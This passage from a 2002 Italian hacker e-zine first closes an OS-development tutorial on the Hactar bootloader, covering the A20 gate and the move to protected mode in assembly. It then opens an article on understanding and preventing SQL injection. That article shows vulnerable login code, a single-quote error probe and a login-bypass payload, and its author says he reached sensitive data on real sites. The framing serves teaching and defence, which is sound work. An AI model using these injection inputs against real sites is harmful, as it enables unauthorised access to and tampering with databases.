| "FormatVolume" e, per memorizzare il nucleo del sistema (boot + kernel), |
| utilizza proprio "VolumeIO", che scrive di byte in byte e non di settore |
| in settore. E` chiaro che non posso chiedere a quella funzione di |
| scrivere il bootstrap loader sul primo settore, e poi partire dal |
| secondo per scrivere il kernel: scrivo 32256 bytes in una sola chiamata, |
| rendendo di fatto il nucleo del sistema un singolo blocco di 31.5 Kb. |
| |
| Ora, quanti settori deve caricare il bootstrap loader? |
| Uhmm... deve caricare 31.5 Kb, quindi la domanda e`: sul disco a N bytes |
| per settore, a quanti settori corrispondono 31.5 Kb di roba? Semplice: a |
| 32256 diviso per N. Siccome N e` forzosamente una potenza di due (dato |
| che il parametro BPS del VPB e` definito come il logaritmo in base due |
| del numero di bytes per settore) posso sempre ricorrere a uno shifting. |
| |
| mov ax,word ptr vtoc; ¿ |
| mov cl, BPS ; ³ calculate number of sectors |
| shr ax, cl ; ³ to be loaded as vtoc / BPS |
| inc al ; ³...+1 to avoid rounding problems... |
| mov STL, al ; Ù |
| |
| Notare che in AX non viene piazzato 32256, ma il contenuto di una |
| variabile che dice quanto e` lungo il nucleo. Anche se non si potranno |
| eccedere i fatidici 63 settori, non e` detto che non si riesca a farlo |
| piu` piccolo. Sinceramente ne dubito, ma e` meglio essere previdenti... |
| Al risultato viene infine aggiunto un settore: non e` necessario e credo |
| che lo sara` molto raramente, pero` serve nel caso che la dimensione del |
| nucleo di sistema, quei 32256 bytes, non sia un multiplo dei "bytes per |
| sector", causando la registrazione di un settore finale che contiene |
| parte del nucleo E altre cose. Siccome non ci interessa rispettare il |
| limite per quanto riguarda la memoria, che e` del tutto vuota fino alla |
| fine della convenzionale, leggere un settore in piu` non e` dannoso, e |
| possiamo evitare di fare dei conti piu` precisi (allungando il codice) |
| per sapere se l'ultimo settore del nucleo sia interamente registrato. |
| |
| Per curiosita`, nel file system di Hactar, immediatamente dopo il nucleo |
| del sistema viene piazzata la VTOC, "Volume Table Of Contents". Possiamo |
| dire che la VTOC di Hactar svolge la funzione di "root directory", ma i |
| paralleli si fermano qui. Il file system di Hactar e` molto peculiare, e |
| verra` esaminato in futuro; fra l'altro, e` ancora in fase di studio... |
| |
| Bene: il kernel e` stato interamente caricato, e possiamo passargli il |
| controllo. Pero`, gia` che ci siamo, prima facciamo qualche "backup" di |
| certe aree di memoria, e qualche controllo sull'integrita` del kernel |
| stesso. Le linee che seguono la label "@@stop" si occupano di calcolare |
| una semplice checksum delle doublewords che compongono il kernel, molto |
| semplicemente sommando tutti i valori: il risultato viene in seguito |
| confrontato con il valore di controllo preso dal VPB (variabile cksum). |
| Ma attualmente il kernel e` in fase di sviluppo, quindi la sua checksum |
| e` presunta cambiare ogni volta che si avvia il sistema dopo aver fatto |
| dei cambiamenti: invece di perder tempo a rifare la checksum, c'e` per |
| questo un segnale che informa il kernel di lasciar perdere l'esito del |
| confronto e di far partire il kernel in ogni caso. Quel segnale e` dato |
| da una "firma ASCII" a 32 bit, contenente la parola TEST. Se "cksum" |
| viene impostata, nel VPB, al valore corrispondente a 'TEST', non si ha |
| nessun controllo sulla checksum effettiva. |
| |
| Una "firma ASCII" di 32 bit e` un valore a 32 bit il cui contenuto, se |
| si considerano i bytes che lo formano come simboli in ASCII, compone |
| per l'appunto una firma, una parola, insomma qualcosa che ha un senso. |
| Ad esempio, le funzioni di mappatura della memoria dei BIOS piu` moderni |
| usano la firma 'SMAP' (System memory MAP) per assicurarsi che il |
| programma chiamante sia davvero intenzionato a chiamare quelle funzioni, |
| che insomma non lo stia facendo per errore, o che magari intendesse |
| chiamare un'altra funzione. Gia`, perche` i vari dispatchers dei vari |
| BIOS, col tempo, hanno "accavallato" i codici per chiamare le funzioni |
| e in certi casi lo stesso codice operativo (di solito e` il numero che |
| viene passato in AX o in AH) dello stesso dispatcher (della stessa INT) |
| si e` trovato ad assumere significati diversi; e per mantenere il piu` |
| possibile la compatibilita` col passato, cosi importante per il successo |
| duraturo dello standard dei PC (e anche secondo me), ecco che certe |
| nuove funzioni, come quella, cercano di differenziarsi come possono. |
| Ho fatto questa digressione sulle firme ASCII a 32 bit perche` Hactar |
| ne usa gia` molte, anche in altre circostanze: sono pratiche, compatte, |
| univoche (non generano equivoci) ed eleganti. |
| |
| Dopo il controllo della checksum, il bootstrap loader procede alla label |
| "@@strt", che effettua un ultimo backup di alcune aree di memoria che |
| risulteranno utili in futuro: la real-mode interrupt vectors table e |
| parte della BDA. Ricordate cosa sono, vero? (Capitolo 2) In totale, si |
| tratta delle locazioni da zero a 41Ah, che verranno ripristinate cosi |
| com'erano al momento del boot, dalla funzione che effettua un "quick |
| reset" del sistema. Il "quick reset", reset limitato al solo software, |
| si ottiene ripristinando tutti i vettori di interrupt per la modalita` |
| reale (Hactar ripristina anche le locazioni fino alla 41Ah, per maggior |
| sicurezza nei confronti di programmi che, per errore o volutamente, |
| potrebbero averle cambiate), e poi ricaricando, come fa il BIOS, il |
| bootstrap loader alla locazione 0000:7C00h, per poi saltare ad eseguire |
| il bootstrap loader, che quindi fara` ripartire l'intero sistema. |
| Si chiama "system reset" sul pannello di controllo di Hactar, ed e` |
| vantaggioso in molti casi, perche` molto veloce: provare per credere. |
| L'unico svantaggio e` che non ripristina lo stato delle periferiche: se |
| ad esempio un programma ha configurato la COM1 in modo da ricevere e |
| trasmettere a 38400 bauds, 8 bit dati, no parity eccetera... solo un |
| reset completo dal BIOS (warm reset, cold reset) potra` ripristinare la |
| configurazione iniziale di quella porta e delle varie altre periferiche. |
| Immediatamente dopo quest'ultimo backup, si trova l'istruzione che passa |
| il controllo del computer alla prima parte del kernel. |
| |
| db 0EAh ; ¿ direct opcode: jump far, full ptr. |
| dw @mm ; ³ destination offset (8000h) |
| dw 0 ; Ù destination segment (0000h) |
| |
| Se vi sembra piu` strana delle altre istruzioni, e` perche` viene |
| scritta direttamente in linguaggio macchina, usando un codice operativo |
| proprio alla CPU invece che un'istruzione mnemonica. L'istruzione e` |
| composta da tre parti: il codice operativo EAh, che significa "direct |
| jump to full pointer given", "salto diretto a una locazione di cui si |
| conosce l'intero indirizzo", e poi ci sono le due parti dell'indirizzo, |
| il segmento e l'offset, che appaiono in ordine inverso perche` quello |
| e` il modo in cui le CPU della serie Intel conservano tutti i valori in |
| memoria: l'ordine dei bytes (e quindi anche quello delle words, delle |
| doublewords, eccetera) e` SEMPRE invertito. Se abbiamo un numero di 32 |
| bit che leggiamo sul video come 12345678h, bisogna tener presente che |
| la CPU, una volta depositato quel numero in memoria, disporra` i bytes |
| che lo formano nell'ordine 78563412h. Puo` sembrare una complicazione |
| inutile, e alcuni (vedremo poi chi) l'hanno in effetti pensata cosi, ma |
| in realta` ha un vantaggio. Se io ho l'indirizzo che punta alla cella di |
| memoria che contiene quel valore di 32 bit, lo stesso indirizzo lo posso |
| usare per accedere anche ai suoi 16 bit meno significativi, e anche ai |
| suoi 8 bit meno significativi. Infatti, se ordinassi in memoria i bytes |
| cosi come sono, nel loro ordine "visibile", otterrei: |
| |
| INDIRIZZO X INDIRIZZO X+1 INDIRIZZO X+2 INDIRIZZO X+3 |
| 12 34 56 78 |
| |
| quindi se, come spesso accade per varie ragioni, mi trovo a considerare |
| solo il primo byte, o solo la prima word, devo cambiare indirizzo, dato |
| che il primo byte si trova a X+3, e la prima word ad X+2. Questo mi |
| costringe a svolgere un'operazione in piu`, o al limite ad usare il |
| generatore di indirizzi della CPU per svolgerla, scrivendo qualcosa come |
| "move.b D0, (A0 + 3)" (dove "A0", un registro d'indirizzamento delle CPU |
| Motorola, conterrebbe il valore di X). |
| |
| Il modo in cui i processori Intel memorizzano i numeri piu` grandi di un |
| byte si chiama "small endian", e il suo opposto si chiama "big endian", |
| ed e` usato da altri tipi di processore, fra cui i Motorola MC68xxx e la |
| serie dei PowerPC. Be', vi pareva strano che i due maggiori produttori |
| di processori per home PC si mettessero d'accordo ALMENO su come mettere |
| in memoria semplici valori, eh? Infatti, con SOLO due sistemi possibili, |
| uno ha scelto il primo e l'altro ha scelto il secondo. Chi ha bisogno di |
| standards, in fin dei conti? E` una domanda che mi rimase impressa, una |
| volta: la lessi come commento, fatto da un uomo d'affari, al sito della |
| V.E.S.A (Video Electronics Standards Association). Diceva proprio cosi: |
| "Who needs those standards anyway?". Non chiedetemi chi fosse il tizio |
| che la fece, perche` anche volendo non me lo ricordo, pero` la domanda |
| mi fece capire che se le cose funzionavano nel modo in cui funzionavano, |
| il solo motivo era la stupidita`. Tutti hanno bisogno di standards: voi |
| provate a chiederlo al poveretto che sbatte` una mano sul vetro della |
| mia Opel Corsa per avvertirmi che gli stavo venendo addosso. |
| Sapete perche`? Perche` avevo cambiato la macchina da poco, e abituato |
| alla Ford Fiesta avente la retromarcia in basso a destra, cioe` dove Dio |
| comanda, con il cambio della Opel ero partito in retromarcia credendo di |
| partire in prima. Vedete... gli standards possono salvarvi la vita. |
| |
| Ultime considerazioni sul bootstrap loader: se volete, potete trovare |
| informazioni su come funziona un MBR (un Master Boot Record, che in |
| genere e` il bootstrap loader dell'hard disk) all'indirizzo: |
| |
| http://ata-atapi.com/hiwmbr.htm |
| |
| l'MBR ha il compito di gestire il boot su dischi partizionati. |
| Come saprete dal suddetto sito, le partizioni sono registrate da anni in |
| un modo poco lungimirante, che ha dato problemi nel momento in cui gli |
| hard disk hanno superato i 528 Mb. Lo schema L-CHS a cui si accenna su |
| quella pagina e` quello che usa vari pezzettini dei registri che sono |
| usati per comunicare al dispatcher dell'interrupt 13h le coordinate CHS |
| del settore da leggere/scrivere in un modo che "allarga" il range di |
| cilindri indirizzabili da quel dispatcher (normalmente limitati al solo |
| registro CL) fino a 12 bits, pari a un massimo di 4096 cilindri. |
| Personalmente non trovo molto eleganti quei rappezzi dell'ultimo minuto, |
| e piu` in generale non digerisco bene tutto lo schema delle partizioni |
| cosi com'e` concepito, ma integrando le informazioni di questo capitolo |
| con quelle fornite da quella pagina web, siete teoricamente in grado di |
| progettare un sistema che supporti le partizioni. Lascio a voi la scelta |
| sul da farsi, per il VOSTRO S.O. |
| |
| Sono stato un po' lungo sul bootstrap loader: ma era necessario. |
| E` una parte importante, ed implica un bel po' di cose da sapere e da |
| progettare. Se volete progettare il vostro sistema, ricordatevi di |
| pianificare tutto cio` che e` possibile, prima di cominciare a scrivere |
| sul serio. Fate delle prove, usate il sorgente di Hactar per ispirarvi |
| se volete; ma a patto che non ri-distribuiate lavori che derivano |
| direttamente da quel sorgente: Hactar non e` sotto GPL, e` distribuibile |
| alle condizioni della WTOF Public License, che tra le altre cose lascia |
| all'autore il diritto esclusivo di pubblicare nuove versioni. |
| Perche`? Oh, non voglio assolutamente sembrare chiuso al pubblico, |
| in nessun modo: i miei sorgenti SONO pubblici, solo che NON VOGLIO che |
| altri possano cambiarli e poi ridistribuirli. Questo si riallaccia alla |
| questione degli standards: se si permette a tutti di produrre nuove e |
| diverse versioni di una stessa cosa, alla fine le varie versioni spesso |
| non riescono a essere compatibili. In pratica, che cosa significa? Che |
| se volete importare nel vostro S.O. anche interi pezzi del mio sorgente, |
| potete farlo, entro certi limiti (insomma, non copiate tutto e basta, |
| in quanto in quel caso sarebbe da considerarsi un prodotto direttamente |
| derivato); QUELLO CHE NON POTETE FARE e` realizzare una nuova versione |
| di Hactar, magari ingrandita e diversificata quanto vi pare, ma che |
| funzionalmente ed apparentemente si presenta come lo stesso prodotto, |
| con lo stesso nome e le stesse caratteristiche distintive. In altre |
| parole, se copiate, siete tenuti a distinguere chiaramente il vostro |
| prodotto dal mio. Altrimenti, per le convenzioni sul diritto d'autore |
| si tratterebbe di plagio, ma piu` che altro, dal mio personale punto di |
| vista, potrebbero saltar fuori versioni parzialmente intercambiabili |
| dello stesso S.O., ma non completamente compatibili. Lo "standard" del |
| sistema, insomma, ne risulterebbe rovinato: questo, e SOLO questo, e` |
| quel che temo e, forte dei miei diritti, vieto. Tengo a ribadire che |
| adoro la filosofia del "freeforall", e che non ho intenzione di ottenere |
| soldi dai miei progetti personali; soltanto, ho questa piccola riserva |
| sul concetto di open-source. Riconosco che i suoi effetti sono riducenti |
| per l'evoluzione del sorgente stesso (anche se ovviamente POSSO dare a |
| determinate persone l'autorizzazione a pubblicare nuove versioni) ma in |
| generale continuo a pensarla cosi, e non posso farci niente. |
| |
| Bene, resta il tempo e lo spazio di accennare un po' al memory manager, |
| ossia alla prima parte del kernel. Il flat memory manager, che fa anche |
| da interrupts controller, risiede in un segmento contenente codice a 16 |
| bit, ed occupa un totale di 2 Kb e un quarto. Ha principalmente un paio |
| di compiti; pochi, ma molto importanti. |
| |
| Per prima cosa, deve riconfigurare la CPU in modo che riesca a vedere, |
| al posto di uno spazio di memoria segmentato di solo un megabyte (nella |
| cosidetta modalita` reale), una serie continua di celle di memoria, |
| numerate a partire da zero, ed estendentesi fino al limite dello spazio |
| d'indirizzamento a 32 bit (ovvero a 4 Gb). Nell'ambito di questo compito |
| la prima cosa da fare e` abilitare le linee di indirizzamento da 20 a 31 |
| del bus che fa da tramite fra il processore e la memoria RAM, e che per |
| ragioni di compatibilita` con il vecchio ambiente "reale" a 16 bit, sono |
| inizialmente disabilitate. L'apertura di queste linee, tecnicamente, si |
| definisce l'apertura della "gate A20", e ci sono due modi di ottenerla: |
| un modo valido sulla circuiteria di PS/2 e derivati (attalmente rara, ma |
| non del tutto estinta), e un modo ben piu` diffuso che riguarda i PC AT, |
| ovvero il 99% di quelli in uso oggi. Sui PS/2 e` abbastanza semplice: |
| basta settare a 1 il secondo bit della porta 92h, cosa che Hactar esegue |
| con le seguenti linee di codice: |
| |
| in al, 92h ; A20 enable bit 1 of p92h |
| or al, 2 ; (this is valid for PS/2) |
| jmp $+2 |
| jmp $+2 |
| out 92h, al ; write to p92h |
| |
| che leggono il valore contenuto nella porta 92h (alcune porte funzionano |
| come locazioni di memoria che si possono leggere e scrivere con speciali |
| comandi assembly, per l'appunto IN ed OUT; altre funzionano solo in una |
| delle due vie, solo in lettura o solo in scrittura; altre ancora sono |
| adibite al trasferimento di dati, dove si possono INputare o OUTputare |
| un numero illimitato di valori nel tempo). La porta 92h dei PS/2 fa |
| parte della prima categoria: una specie di "switcher", come quelli che |
| si trovano sugli hard disks per cambiare lo stato della periferica (da |
| master a slave, per esempio). Il secondo bit puo` essere visto come un |
| "ponticello digitale", e settare in esso il valore 1 significa chiudere |
| il contatto, mentre il valore zero lo riaprirebbe. Ora, il registro AL |
| e` usato per contenere temporaneamente il valore della porta 92h dopo la |
| lettura e prima della scrittura (fra l'altro, assieme ad AX e` l'unico |
| registro che puo` essere direttamente trasferito da e verso le porte). |
| Quindi per prima cosa viene letta la porta 92h, il suo valore depositato |
| nel registro AL, poi AL viene ORato con il valore 2, che corrisponde al |
| bit 1 (al secondo bit, visto che il primo e` il bit zero), in modo che |
| tale bit venga settato a 1. La modifica al reale valore della porta 92h, |
| pero`, non avviene finche` non si RISCRIVE la porta con il comando OUT. |
| Prima di quest'ultima operazione si pongono in genere uno o due salti |
| "a vuoto", salti all'istruzione successiva, per attendere qualche |
| microsecondo: a volte i controller di queste vecchie porte sono lenti, |
| e potrebbero non accettare i comandi se vengono impartiti in modo troppo |
| rapido. Potevo usare delle NOP? No, le NOP sono accoppiabili sulle CPU |
| superscalari (cioe` a piu` di una pipeline, capaci insomma di eseguire |
| piu` istruzioni insieme). Le NOP sono buone per allineare dati e codice, |
| ma non sono altrettanto valide per far aspettare un po' la CPU. Un salto |
| a vuoto, invece, costringe il processore a interrompere la coda di |
| prefetch per tutte le pipelines. Ergo, lo costringono ad eseguire quelle |
| istruzioni una per volta, aspettando in questo caso 2 cicli macchina. |
| Fatto questo, se abbiamo a che fare con la circuiteria "tipo PS/2", il |
| processore dovrebbe aver abilitato le linee d'indirizzamento da 20 a 31, |
| e per verificare si passa a fare un semplicissimo controllo: |
| |
| call a20test ; A20 actually enabled? |
| jz a20enabled ; (yes) |
| |
| Per quanto riguarda il funzionamento dell'a20test, come ho detto e` |
| molto semplice: anche senza passare alla modalita` flat, da quella reale |
| e` possibile, se ci si pensa bene, accedere a locazioni poste oltre il |
| fatidico limite del primo megabyte di memoria fisica. Precisamente, si |
| possono raggiungere ben 65520 bytes di memoria al di fuori del primo Mb: |
| quest'area di memoria va sotto il nome di HMA (High Memory Area). |
| Per esempio, in essa viene depositato spesso gran parte del sistema |
| operativo MS-DOS, come si puo` verificare tramite il comando "mem", che |
| in tali casi recita "MS-DOS e` residente nell'area di memoria alta". |
| Come e` possibile raggiungerla? Ponendo uno dei registri di segmento, |
| in modalita` reale, al valore FFFFh, il massimo valore raggiungibile. |
| Se questo, nella dinamica degli indirizzi della modalita` reale spiegata |
| nel capitolo 2, viene aggiunto ad un offset di Fh (15 in decimale), si |
| stara` indirizzando la locazione FFFFFh, ovvero l'ultima disponibile al |
| di sotto del primo megabyte. Ma noi sappiamo che l'offset e` di 16 bit, |
| e quindi possiamo ampiamente superare il valore Fh, arrivando a un nuovo |
| limite di FFFFh:FFFFh, posto appunto 65519 bytes AL DI FUORI del primo |
| megabyte di memoria fisica. Il test fa proprio questo: se il BUS risulta |
| ancora di 20 bit soltanto, qualsiasi indirizzo piu` altro di FFFFh:Fh |
| verra` "tagliato" dalla CPU (questo fenomeno si chiama "wraparound"), in |
| modo che, ad esempio, l'indirizzo FFFFh:10h, corrispondente a 100000h, |
| generera` un "bit di riporto" fuori dal range di 20 bit (proprio come un |
| riporto aritmetico, un "overflow"), e in 20 bit soltanto quell'indirizzo |
| di 21 bit verra` visto come "00000h", ovvero puntera` proprio alla PRIMA |
| locazione di memoria fisica, cioe` al vettore dell'interrupt zero. |
| Il ragionamento a questo punto e` banale: si prova a cambiare il valore |
| del primo byte che si trova al di la del primo megabyte. Se quel valore |
| viene davvero cambiato (e quindi non si riflette come un cambiamento del |
| primo byte di memoria in assoluto), significa che siamo riusciti ad |
| abilitare le linee d'indirizzamento da 20 a 31, ad aprire la "gate A20". |
| Il test, in quel caso, setta il flag "zero" (ZF) che deriva direttamente |
| dal confronto del valore a FFFFh:10h, segnalando che la gate e` aperta. |
| Altrimenti, a questo punto non ci troviamo a che fare con il tipo PS/2, |
| e quindi procediamo con un altro tentativo volto ad aprire A20 sui PC di |
| tipo AT, con le seguenti istruzioni: |
| |
| call a20wait ; (no, so try with AT style) |
| jnz a20ATtry |
| mov al, 0d1h ; output to i8042 STATUS PORT |
| out 64h, al |
| call a20wait ; wait for safe write |
| jnz a20ATtry ; proceed |
| mov al, 0dfh ; tell PORT A to enable A20 |
| out 60h, al |
| call a20wait ; wait for safe write |
| a20ATtry: mov cx, 2048 ; try 2048 cycles |
| a20try_loop: call a20test ; enabled? |
| jz a20enabled ; (yes) |
| in al, 40h ; current PIT ch.0 tick |
| jmp $+2 |
| jmp $+2 |
| in al, 40h |
| mov ah, al ; save current tick number |
| a20try_loop_2: in al, 40h ; wait next tick |
| jmp $+2 |
| jmp $+2 |
| in al, 40h |
| cmp al, ah ; still same tick? |
| je a20try_loop_2 ; (yes) |
| loop a20try_loop ; (no, go on with next try) |
| |
| nei dettagli, spiegare come funzionano i cicli di attesa prenderebbe |
| un po' troppo spazio, e siamo agli sgoccioli e vorrei accennare ad altre |
| cose: diro` che implicano le caratteristiche del famoso PIT, attraverso |
| la porta 40h che e` quella da cui, in lettura, si puo` accedere al |
| conteggio interno del canale zero. Per il resto, sinceramente potete |
| prendere questo frammento "per buono", la sua unica funzione e` quella |
| di aprire la gate A20. Questo avviene, in particolare, attraverso un |
| comando di scrittura sulla porta 60h, chiamata PORT A e connessa alla |
| chip i8042, che e` il controller della tastiera. Ora, cosa c'entri la |
| gate A20 con la tastiera sinceramente NON LO SO, so solo che in effetti, |
| come risulta da quest'estratto del file PORTS.A dei Ralf Brown files... |
| |
| Bitfields for AT keyboard controller output port: |
| Bit(s) Description (Table P0383) |
| 7 keyboard data output |
| 6 keyboard clock output |
| 5 input buffer NOT full |
| 4 output buffer NOT empty |
| 3 reserved (see note) |
| 2 reserved (see note) |
| 1 gate A20 |
| 0 system reset |
| |
| ...a quanto pare il keyboard controller e` predisposto anche per il |
| controllo di questa funzione. Probabilmente si tratta di una questione |
| di compatibilita` con sistemi precedenti ma, lo ripeto, non so perche` |
| il bit di controllo della gate A20 sia stato messo proprio li, ne` so |
| perche` il codice di comando da inviare alla porta sia DFh, che letto |
| in binario significa 11011111, e che secondo la tabella significherebbe |
| settare tutte le condizioni tranne il bit 5, "input buffer NOT full". |
| Il frammento per aprire gate A20 e` infatti costante, in qualsiasi |
| situazione, usato nello stesso modo dai vari extender (DPMI servers, |
| DOS4GW, HIMEM.SYS, PMode, eccetera), e il codice di comando DFh, oltre |
| al fatto che funziona al di la di ogni dubbio, e` riportato tale e |
| quale sul manuale d'assembly che menzionai nel primo capitolo, cioe` |
| il Murray-Pappas, che testualmente (ma confusionariamente, dato che i |
| traduttori facevano del loro meglio per capire quel che non potevano |
| capire) riporta: |
| |
| 0DDh bit 20 bus indirizzi disattivato (A20 sempre 0) |
| 0DFh bit 20 bus indirizzi attivato (286 controlla A20) |
| |
| E dove il "bit 20" e` in realta` solo un modo piu` breve di indicare i |
| bits da 20 a 31: non e` che si possa aprire o chiudere SOLO il bit 20. |
| Per finire, prima di scrivere sulla porta di controllo dell'i8042, |
| ovvero la 60h, selezionata in precedenza inviando un codice di comando |
| D1h alla porta 64h, ci si accerta che il suo buffer di scrittura, in |
| cui vengono conservati i comandi inviati e attualmente in attesa di |
| essere eseguiti dalla chip, non sia pieno. Questo e` segnalato da un |
| readback (un'operazione di lettura, di INput) sulla porta di stato, |
| la 64h, alla ricerca del segnale di buffer pieno dato da un eventuale |
| settaggio del bit 1 nel risultato della lettura (registro AL). Anche |
| se non ci avete capito molto, non curatevene: esiste un solo modo di |
| aprire la gate A20 sugli AT... potete benissimo fare un bel "taglia e |
| incolla" e lavarvene le mani, come del resto ho "quasi" fatto io ;) |
| |
| Veniamo al resto dell'inizializzazione della modalita` flat a 32 bit. |
| In seguito all'apertura della gate A20, e quindi di tutte le linee del |
| BUS della memoria dalla 20 alla 31, siamo in grado di accedere a tutta |
| la memoria fino ai promessi 4 Gb? No. Non ancora. Siamo ancora costretti |
| nello spazio del primo megabyte dal fatto di usare registri a 16 bit per |
| l'indirizzamento delle celle di memoria. Insomma, stavolta si tratta di |
| far capire alla CPU che vogliamo, d'ora in avanti, usare registri di 32 |
| bit come EDI, ESI, EBP al posto dei "vecchi" DI, SI, BP. Fra l'altro, |
| una volta entrati in modalita` flat saremo in grado di usare qualsiasi |
| registro a 32 bit per accedere alla memoria (anche EAX, ECX ed EDX). |
| C'e` un solo modo di costringere una CPU in standard Intel a funzionare |
| in modalita` flat: entrare in modalita` protetta. Ma questo non vuol |
| dire che USEREMO le caratteristiche di protezione: avremo la modalita` |
| protetta, ma ignoreremo le sue caratteristiche di protezione, |
| limitandoci a sfruttare le sue capacita` d'indirizzamento a 32 bit. |
| |
| Qui il discorso si complica: in teoria, l'operazione che porta la CPU ad |
| entrare in modalita` protetta e` una semplice modifica al registro di |
| controllo denominato CR0 (sigla di Control Register 0, per l'appunto): |
| |
| mov eax, cr0 |
| or eax, 1 |
| mov cr0, eax |
| |
| bastano tre righe di codice. O meglio, basterebbero. |
| Il fatto e` che l'ingresso in modalita` protetta comporta innumerevoli |
| cambiamenti nel modo in cui la CPU esegue TUTTI i programmi in corso, |
| siano essi parte del kernel, di una semplice applicazione o addirittura |
| del BIOS. Quindi, se provaste a fare una cosa del genere senza prima |
| preparare il sistema a funzionare nella nuova modalita`, si pianterebbe |
| tutto immediatamente. Bene: siamo in chiusura, e le operazioni da fare |
| per preparare il sistema all'ingresso in modalita` protetta le vedremo |
| la prossima volta, molto in dettaglio (perche` sono importantissime). |
| Ma per fare il punto della situazione vi faro` un breve sommario delle |
| questioni da risolvere. Fissatevi in memoria i paroloni usati: |
| |
| 1. In modalita` protetta i registri di segmento, cioe` CS, DS, ES, |
| FS, GS, SS, si chiamano "selettori" e funzionano in un modo che |
| non ha niente a che vedere con la modalita` reale: essi puntano |
| a delle aree di memoria i cui limiti ed attributi sono forniti |
| da una serie di registrazioni poste in RAM, e ognuna di queste |
| registrazioni e` detta "descrittore". Ora, tutti i descrittori |
| delle aree di sistema sono mantenuti in una tabella, chiamata |
| Global Descriptors Table, in sigla GDT, che dovremo costruirci |
| e della quale dovremo fornire al processore l'indirizzo del suo |
| primo byte (noto come l'indirizzo di base della GDT). Oltre alla |
| GDT potrebbero esserci una o piu` LDT (Local Descriptors Table) |
| che sono tabelle di descrittori che riguardano le applicazioni: |
| siccome in Hactar le applicazioni possono usare direttamente la |
| GDT di sistema per accedere alla memoria, non costruiremo nessuna |
| di queste LDT. |
| |
| 2. Le interrupts stesse, in modalita` protetta hanno una loro |
| tabella di descrittori, che ha la stessa funzione svolta, in |
| modalita` reale, dalla IVT (Interrupt Vectors Table). Questa |
| tabella di descrittori riservata alle interrupts si chiama IDT, |
| cioe` Interrupt Descriptors Table. Il sistema dovra` costruire |
| anche una di queste tabelle. |
| |
| 3. Tutti i programmini che gestiscono le interrupts, al momento del |
| passaggio alla modalita` protetta, saranno ancora gli stessi, ed |
| useranno codice a 16 bit previsto per funzionare in modalita` |
| reale; casomai, solo IN SEGUITO potremo caricare dei programmi di |
| gestione delle interrupts funzionanti in modalita` flat; ma al |
| momento del primo "mode switch" (cosi si chiama il passaggio da |
| modalita` protetta o flat a modalita` reale, e viceversa) dovremo |
| fare in modo che TUTTE le interrupts continuino a funzionare come |
| se nulla fosse accaduto. |
| |
| 4. Una volta effettuato il mode switch, dovremo ri-invalidare la |
| "coda di prefetch" delle istruzioni da parte del processore, che |
| altrimenti conterrebbe ancora puntatori a istruzioni nel formato |
| segmento:offset. La "coda di prefetch", infatti, ha lo scopo di |
| precaricare le prossime istruzioni in memoria cache, cosicche` |
| non si subiscano ritardi dovuti all'accesso alla DRAM. Come per |
| i cicli di attesa visti in precedenza, si trattera` di fare un |
| "salto a vuoto", ma stavolta dovremo specificare un'indirizzo di |
| destinazione in un formato diverso, quello flat, anche se esso |
| verra` comunque a corrispondere all'istruzione successiva. |
| |
| E` difficile, dite? Molto piu` a spiegarsi, e a capirsi, che a FARSI. |
| Il prototipo di kernel che vi ho fornito fa gia` tutto questo nei suoi |
| primi 2,25 Kb di codice, quelli che corrispondono al memory manager; |
| e dopo aver visto come funziona il memory manager, e la modalita` flat, |
| vedremo tutto il resto del codice del kernel, che per l'appunto funziona |
| esclusivamente in modalita` flat: la piu` semplice e la piu` veloce. |
| |
| Alexander The Great |
| |
| http://anywhere.i.am |
| alex.tg@tiscalinet.it |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 |
| CAPiRE E PREVENiRE GLi ATTACCHi: SQL iNJECTi0N [SNHYPER] 0x0E/0x1D |
+--------------------------------------------------------------------------+
| |
| In questo articolo analizzeremo gli attacchi di SQL injection, ovvero |
| quegli attacchi che prevedono l'inserimento di codice (quini comandi) |
| SQL addizionali nelle input box che sono presenti in molti siti web che |
| utilizzano database per la gestione di utenti, informazioni etc... |
| |
| |
| I programmatori delle form web ( che utilizzano Perl, ASP,CGI etc..) |
| "invitano" l'utente ad inserire i dati richiesti all'interno do ogni |
| "data-field" (campo). Molte volte non hanno la cura o la perizia di |
| immaginare tutti i possibili dati che possono essere immessi nei |
| suddetti campi (accidentalmente o di proposito). L'input "scorretto" e' |
| usato solitamente per creare comandi che, elaborati dallo script in modo |
| scorretto, vengono eseguiti contro il server SQL. Nei miei |
| test,purtroppo molti siti sono risultati vulnerabili, permettendomi di |
| accedere con facilita'… al database contenuto nel server, e quindi |
| lasciandomi capace di leggere e / o modificare dati molte volte |
| sensibili. |
| |
| |
| Ma ora veniamo alla parte pratica. |
| |
| |
| Vediamo una semplice riga di codice usata per fare il login al server |
| SQL tramite una pagina web: |
| |
| ----start-code---- |
| |
| SQL = " select * from users where username = ' " & |
| request.form ( " username " ) & " ' and password = ' " & |
| request.form ( " password " ) & " ' " |
| |
| ------end-code---- |
| |
| |
| Quando l'utente che deve effettuare il login immette la classica |
| coppiata username e password, le variabili SQL conterranno i dati |
| immessi, quindi la situazione in codice sara' la seguente [poniamo |
| user=SNHYPER e pass=hacker] : |
| |
| ----start-code---- |
| |
| select * from users where username = ' SNHYPER ' and password |
| = ' hacker ' |
| |
| ------end-code---- |
| |
| |
| Se questo comando SQL viene eseguito verso il database esso, come |
| possiamo intuire, ritornera' il *record* ( username e password sono |
| corrette), o non ritornera' nulla (in quanto non e' stata trovata |
| nessuna voce [record] nel database e quindi.. username e password sono |
| errate). |
| |
| |
| Ora iniziamo ad analizzare la tipologia di attacco relativa. Proviamo ad |
| introdurre il singolo apice ( ' ) all'interno dell'input box e |
| inviare: |
| |
| ______________________________ |
| | | |
| | USERNAME: ' | |
| | PASSWORD: | |
| |______________________________| |
| |
| |
| La seguente risposta è ritornata dal server (la risposta può variare) : |
| |
| |
| Syntax error in string in query expression 'username=''' AND |
| password='';'. |
| |
| |
| Suppongo che a prima impressione non vi dica niente.....ma la frase " |
| imparare dagli errori..." non è detta per niente... Infatti ora |
| l'attaccante sa il nome dei campi usati all'interno del codice! E cioè |
| in questo caso username e password, ma che sarebbe potuto essere |
| benissimo altro ( a me è capitato ad esempio *user , passwd*, *user , |
| pass* etc...). Avendo in mano i campi usati all'interno del codice, |
| l'attaccante può |
| passare al prossimo *livello*. |
| |
| |
| Proviamo ad inserire i seguenti input nella box di login: |
| |
| |
| ________________________________________________ |
| | | |
| | USERNAME: ' or username like ' % | |
| | PASSWORD: ' or password like ' % | |
| |_______________________________________________| |
| |
| /* al posto di username e password..l'attaccante userà i campi |
| trovati dall'errore...in questo caso è corretto */ |
| |
